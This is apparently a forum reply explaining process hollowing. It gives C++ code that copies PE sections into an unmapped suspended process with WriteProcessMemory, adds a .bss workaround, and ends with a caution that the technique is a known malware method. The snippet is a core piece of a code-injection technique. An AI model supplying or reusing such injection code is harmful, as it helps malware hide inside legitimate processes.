Starting at the address given by allocating (VirtualAlloc) memory from the Imagebase at EBX + 8, copy the separate sections to the "new" process memory that has been unmapped. I also noticed that when running from the self executable, I had to make a workaround for a failure in copying the .bss section (which didn't exist).
Code:
IMAGE_DOS_HEADER DH;
IMAGE_NT_HEADERS NH;
IMAGE_SECTION_HEADER SH;
bool bssFail = false; //.bss executable section could not be written
int copyiterator = 0; //holds the true iterator just in case of a .bss fail
for (int i = 0; i < NH.FileHeader.NumberOfSections;++i)
{
PIMAGE_SECTION_HEADER PSH = &SH;
CopyMemory(PSH, (PIMAGE_SECTION_HEADER)((DWORD)data + DH.e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * copyiterator),sizeof(IMAGE_SECTION_HEADER));
if(WriteProcessMemory(pinfo.hProcess,(PVOID)((DWORD)StartingAddr + SH.VirtualAddress), (LPCVOID)&data[SH.PointerToRawData], SH.SizeOfRawData) == 0)
{
cout << "Error: " << "Writeprocmem-inloop: " << i << " Error: " << GetLastError() << endl;
if (strcmp((char*)PSH->Name,".bss") == 0) //A fail-safe just in case this section contains no data and no pointer
{
cout << "WriteProcessMemory failed at the \".bss\" section. Reverting counter." << endl;
bssFail = true;
++copyiterator;
CopyMemory(PSH, (PIMAGE_SECTION_HEADER)((DWORD)data + DH.e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * copyiterator),sizeof(IMAGE_SECTION_HEADER));
WriteProcessMemory(pinfo.hProcess,(PVOID)((DWORD)StartingAddr + SH.VirtualAddress), (LPCVOID)&data[SH.PointerToRawData], SH.SizeOfRawData);
}
}
++copyiterator;
}
Then set the entry point and context back and resume the thread.
Also, I would highly suggest giving the reason for what you're doing, because hijacking process memory space is a well-known malware technique, and most people here wouldn't care much to help someone trying to hack. I helped you because I've been there and done that, and I haven't caused and never had the intention to cause harm.